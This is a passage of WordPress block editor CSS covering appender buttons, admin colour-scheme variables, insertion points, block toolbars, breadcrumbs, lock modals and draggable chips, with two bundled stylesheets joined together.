  color:#ffffffa6;
}
.block-editor-button-block-appender:hover{
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
  color:var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:focus{
  box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-button-block-appender:active{
  color:#000;
}

.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{
  pointer-events:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{
  border:1px dashed;
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{
  visibility:hidden;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{
  border:none;
}
.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{
  visibility:visible;
}
.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:none;
}
.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
  background-color:var(--wp-admin-theme-color);
  box-shadow:inset 0 0 0 1px #ffffffa6;
  color:#ffffffa6;
  transition:background-color .2s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{
    transition:none;
  }
}
.block-editor-default-block-appender{
  clear:both;
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{
  outline:1px solid #0000;
}
.block-editor-default-block-appender .block-editor-default-block-appender__content{
  opacity:.62;
}
:where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{
  margin-block-start:0;
}
.block-editor-default-block-appender .components-drop-zone__content-icon{
  display:none;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{
  left:0;
  line-height:0;
  position:absolute;
  top:0;
}
.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{
  display:none;
}
.block-editor-block-list__block .block-list-appender{
  bottom:0;
  left:0;
  list-style:none;
  padding:0;
  position:absolute;
  z-index:2;
}
.block-editor-block-list__block .block-list-appender.block-list-appender{
  line-height:0;
  margin:0;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{
  height:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{
  background:#1e1e1e;
  box-shadow:none;
  color:#fff;
  display:none;
  flex-direction:row;
  height:24px;
  min-width:24px;
  padding:0 !important;
  width:24px;
}
.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{
  display:none;
}
.block-editor-block-list__block .block-list-appender:only-child{
  align-self:center;
  left:auto;
  line-height:inherit;
  list-style:none;
  position:relative;
}
.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{
  display:block;
}

.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{
  display:flex;
}

.block-editor-default-block-appender__content{
  cursor:text;
}

.block-editor-block-list__layout.has-overlay:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:60;
}

.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{
  margin-bottom:0;
}

.block-editor-media-placeholder__url-input-form{
  display:flex;
}
.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{
  border:none;
  border-radius:0;
  flex-grow:1;
  margin:2px;
  min-width:200px;
  width:100%;
}
@media (min-width:600px){
  .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{
    width:300px;
  }
}

.block-editor-media-placeholder__url-input-submit-button{
  flex-shrink:1;
}

.block-editor-media-placeholder__button{
  margin-bottom:.5rem;
}

.block-editor-media-placeholder__cancel-button.is-link{
  display:block;
  margin:1em;
}

.block-editor-media-placeholder.is-appender{
  min-height:0;
}
.block-editor-media-placeholder.is-appender:hover{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
  cursor:pointer;
}

.block-editor-plain-text{
  border:none;
  box-shadow:none;
  color:inherit;
  font-family:inherit;
  font-size:inherit;
  line-height:inherit;
  margin:0;
  padding:0;
  width:100%;
}

.rich-text [data-rich-text-placeholder]{
  pointer-events:none;
}
.rich-text [data-rich-text-placeholder]:after{
  content:attr(data-rich-text-placeholder);
  opacity:.62;
}
.rich-text:focus{
  outline:none;
}
.rich-text:focus [data-rich-text-format-boundary]{
  border-radius:2px;
}

.block-editor-rich-text__editable>p:first-child{
  margin-top:0;
}

figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{
  opacity:.8;
}

[data-rich-text-script]{
  display:inline;
}
[data-rich-text-script]:before{
  background:#ff0;
  content:"</>";
}

.block-editor-warning{
  align-items:center;
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:flex;
  flex-wrap:wrap;
  padding:1em;
}
.block-editor-warning,.block-editor-warning .block-editor-warning__message{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
}
.block-editor-warning .block-editor-warning__message{
  color:#1e1e1e;
  font-size:13px;
  line-height:1.4;
  margin:0;
}
.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{
  min-height:auto;
}
.block-editor-warning .block-editor-warning__contents{
  align-items:baseline;
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:space-between;
  width:100%;
}
.block-editor-warning .block-editor-warning__actions{
  align-items:center;
  display:flex;
  margin-top:1em;
}
.block-editor-warning .block-editor-warning__action{
  margin:0 0 0 8px;
}

.block-editor-warning__secondary{
  margin:auto 8px auto 0;
}

.components-popover.block-editor-warning__dropdown{
  z-index:99998;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-autocompleters__block{
  white-space:nowrap;
}
.block-editor-autocompleters__block .block-editor-block-icon{
  margin-right:8px;
}

.block-editor-autocompleters__link{
  white-space:nowrap;
}
.block-editor-autocompleters__link .block-editor-block-icon{
  margin-right:8px;
}

.block-editor-block-alignment-control__menu-group .components-menu-item__info{
  margin-top:0;
}

.block-editor-block-bindings-toolbar-indicator{
  align-items:center;
  display:inline-flex;
  height:48px;
  padding:6px;
}
.block-editor-block-bindings-toolbar-indicator svg g{
  stroke:var(--wp-bound-block-color);
  fill:#0000;
  stroke-width:1.5;
  stroke-linecap:round;
  stroke-linejoin:round;
}

iframe[name=editor-canvas]{
  display:block;
  height:100%;
  width:100%;
}

iframe[name=editor-canvas]:not(.has-editor-padding){
  background-color:#fff;
}

iframe[name=editor-canvas].has-editor-padding{
  padding:24px 24px 0;
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-inspector p:not(.components-base-control__help){
  margin-top:0;
}
.block-editor-block-inspector h2,.block-editor-block-inspector h3{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.block-editor-block-inspector .components-base-control{
  margin-bottom:24px;
}
.block-editor-block-inspector .components-base-control:last-child{
  margin-bottom:8px;
}
.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{
  margin-bottom:0;
}
.block-editor-block-inspector .components-panel__body{
  border:none;
  border-top:1px solid #e0e0e0;
  margin-top:-1px;
}

.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{
  background:#fff;
  display:block;
  font-size:13px;
  padding:32px 16px;
  text-align:center;
}

.block-editor-block-inspector__no-block-tools{
  border-top:1px solid #ddd;
}

.block-editor-block-inspector__tab-item{
  flex:1 1 0px;
}
.block-editor-block-list__insertion-point{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-list__insertion-point-indicator{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  opacity:0;
  position:absolute;
  transform-origin:center;
  will-change:transform, opacity;
}
.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{
  height:4px;
  top:calc(50% - 2px);
  width:100%;
}
.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{
  bottom:0;
  left:calc(50% - 2px);
  top:0;
  width:4px;
}

.block-editor-block-list__insertion-point-inserter{
  display:none;
  justify-content:center;
  left:calc(50% - 12px);
  position:absolute;
  top:calc(50% - 12px);
  will-change:transform;
}
@media (min-width:480px){
  .block-editor-block-list__insertion-point-inserter{
    display:flex;
  }
}

.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{
  pointer-events:none;
}
.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{
  pointer-events:all;
}

.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:var(--wp-admin-theme-color);
}
.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:#1e1e1e;
}
.block-editor-block-list__block-selection-button{
  background-color:#1e1e1e;
  border-radius:2px;
  display:inline-flex;
  font-size:13px;
  height:48px;
  padding:0 12px;
  z-index:22;
}
.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content{
  align-items:center;
  display:inline-flex;
  margin:auto;
}
.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content>.components-flex__item{
  margin-right:6px;
}
.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle{
  cursor:grab;
  height:24px;
  margin-left:-2px;
  min-width:24px;
  padding:0;
}
.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle svg{
  min-height:18px;
  min-width:18px;
}
.block-editor-block-list__block-selection-button .block-editor-block-icon{
  color:#fff;
  font-size:13px;
  height:48px;
}
.block-editor-block-list__block-selection-button .components-button{
  color:#fff;
  display:flex;
  height:48px;
  min-width:36px;
}
.block-editor-block-list__block-selection-button .components-button:focus{
  border:none;
  box-shadow:none;
}
.block-editor-block-list__block-selection-button .components-button:active,.block-editor-block-list__block-selection-button .components-button[aria-disabled=true]:hover{
  color:#fff;
}
.block-editor-block-list__block-selection-button .block-selection-button_select-button.components-button{
  padding:0;
}
.block-editor-block-list__block-selection-button .block-editor-block-mover{
  background:unset;
  border:none;
}

@keyframes hide-during-dragging{
  to{
    position:fixed;
    transform:translate(9999px, 9999px);
  }
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-list__block-selection-button{
  margin-bottom:12px;
  margin-top:12px;
  pointer-events:all;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  overflow:visible;
  position:static;
  width:auto;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-left:56px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-left:0;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{
  overflow:visible;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{
  border-right-color:#1e1e1e;
}
.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{
  visibility:hidden;
}
.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{
  animation:hide-during-dragging 1ms linear forwards;
  opacity:0;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  left:-57px;
  position:absolute;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{
  content:"";
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  background-color:#fff;
  border:1px solid #1e1e1e;
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  left:auto;
  margin-left:-1px;
  position:relative;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-left:1px solid #1e1e1e;
}

.is-dragging-components-draggable .components-tooltip{
  display:none;
}

.block-editor-block-lock-modal{
  z-index:1000001;
}
@media (min-width:600px){
  .block-editor-block-lock-modal .components-modal__frame{
    max-width:480px;
  }
}

.block-editor-block-lock-modal__checklist{
  margin:0;
}

.block-editor-block-lock-modal__options-title{
  padding:12px 0;
}
.block-editor-block-lock-modal__options-title .components-checkbox-control__label{
  font-weight:600;
}

.block-editor-block-lock-modal__checklist-item{
  align-items:center;
  display:flex;
  gap:12px;
  justify-content:space-between;
  margin-bottom:0;
  padding:12px 0 12px 32px;
}
.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{
  flex-shrink:0;
  margin-right:12px;
  fill:#1e1e1e;
}
.block-editor-block-lock-modal__checklist-item:hover{
  background-color:#f0f0f0;
  border-radius:2px;
}

.block-editor-block-lock-modal__template-lock{
  border-top:1px solid #ddd;
  margin-top:16px;
  padding:12px 0;
}

.block-editor-block-lock-modal__actions{
  margin-top:24px;
}

.block-editor-block-lock-toolbar .components-button.has-icon{
  min-width:36px !important;
}

.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  margin-left:-6px !important;
}

.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  border-left:1px solid #1e1e1e;
  margin-left:6px !important;
  margin-right:-6px;
}

.block-editor-block-breadcrumb{
  list-style:none;
  margin:0;
  padding:0;
}
.block-editor-block-breadcrumb li{
  display:inline-flex;
  margin:0;
}
.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{
  fill:currentColor;
  margin-left:-4px;
  margin-right:-4px;
  transform:scaleX(1);
}
.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{
  display:none;
}

.block-editor-block-breadcrumb__button.components-button{
  height:24px;
  line-height:24px;
  padding:0;
  position:relative;
}
.block-editor-block-breadcrumb__button.components-button:hover:not(:disabled){
  box-shadow:none;
  text-decoration:underline;
}
.block-editor-block-breadcrumb__button.components-button:focus{
  box-shadow:none;
}
.block-editor-block-breadcrumb__button.components-button:focus:before{
  border-radius:2px;
  bottom:1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  display:block;
  left:1px;
  outline:2px solid #0000;
  position:absolute;
  right:1px;
  top:1px;
}

.block-editor-block-breadcrumb__current{
  cursor:default;
}

.block-editor-block-breadcrumb__button.components-button,.block-editor-block-breadcrumb__current{
  color:#1e1e1e;
  font-size:inherit;
  padding:0 8px;
}

.block-editor-block-card{
  align-items:flex-start;
  color:#1e1e1e;
  display:flex;
  padding:16px;
}

.block-editor-block-card__content{
  flex-grow:1;
}

.block-editor-block-card__title{
  font-weight:500;
}
.block-editor-block-card__title.block-editor-block-card__title{
  font-size:13px;
  line-height:1.4;
  margin:0;
  padding:3px 0;
}

.block-editor-block-card__description{
  display:block;
  font-size:13px;
  line-height:1.4;
  margin-top:4px;
}

.block-editor-block-card .block-editor-block-icon{
  flex:0 0 24px;
  height:24px;
  margin-left:0;
  margin-right:12px;
  width:24px;
}

.block-editor-block-card.is-synced .block-editor-block-icon{
  color:var(--wp-block-synced-color);
}
.block-editor-block-compare{
  height:auto;
}

.block-editor-block-compare__wrapper{
  display:flex;
  padding-bottom:16px;
}
.block-editor-block-compare__wrapper>div{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  max-width:600px;
  min-width:200px;
  padding:0 16px 0 0;
  width:50%;
}
.block-editor-block-compare__wrapper>div button{
  float:right;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__converted{
  border-left:1px solid #ddd;
  padding-left:15px;
  padding-right:0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html{
  border-bottom:1px solid #ddd;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:12px;
  line-height:1.7;
  padding-bottom:15px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span{
  background-color:#e6ffed;
  padding-bottom:3px;
  padding-top:3px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{
  background-color:#acf2bd;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{
  background-color:#cc1818;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview{
  padding:16px 0 0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{
  font-size:12px;
  margin-top:0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__action{
  margin-top:16px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__heading{
  font-size:1em;
  font-weight:400;
  margin:.67em 0;
}

.block-editor-block-draggable-chip-wrapper{
  left:0;
  position:absolute;
  top:-24px;
}

.block-editor-block-draggable-chip{
  background-color:#1e1e1e;
  border-radius:2px;
  box-shadow:0 6px 8px #0000004d;
  color:#fff;
  cursor:grabbing;
  display:inline-flex;
  height:48px;
  padding:0 13px;
  position:relative;
  -webkit-user-select:none;
          user-select:none;
  width:max-content;
}
.block-editor-block-draggable-chip svg{
  fill:currentColor;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{
  justify-content:flex-start;
  margin:auto;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{
  margin-right:6px;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{
  margin-right:0;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{
  min-height:18px;
  min-width:18px;
}
.block-editor-block-draggable-chip .components-flex__item{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  align-items:center;
  background-color:initial;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  transition:all .1s linear .1s;
}
.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{
  background:#0000 linear-gradient(-45deg, #0000 47.5%, #fff 0, #fff 52.5%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1.5px #fff;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  background-color:#757575;
  box-shadow:0 4px 8px #0003;
  opacity:1;
}

.block-editor-block-mover__move-button-container{
  border:none;
  display:flex;
  justify-content:center;
  padding:0;
}
@media (min-width:600px){
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    flex-direction:column;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{
    height:20px;
    min-width:0 !important;
    width:100%;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{
    height:calc(100% - 4px);
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    flex-shrink:0;
    top:3px;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    bottom:3px;
    flex-shrink:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
    width:48px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{
    padding-left:0;
    padding-right:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    left:5px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    right:5px;
  }
}

.block-editor-block-mover__drag-handle{
  cursor:grab;
}
@media (min-width:600px){
  .block-editor-block-mover__drag-handle{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{
    padding-left:0;
    padding-right:0;
  }
}

.components-button.block-editor-block-mover-button:before{
  animation:components-button__appear-animation .1s ease;
  animation-fill-mode:forwards;
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media (prefers-reduced-motion:reduce){
  .components-button.block-editor-block-mover-button:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{
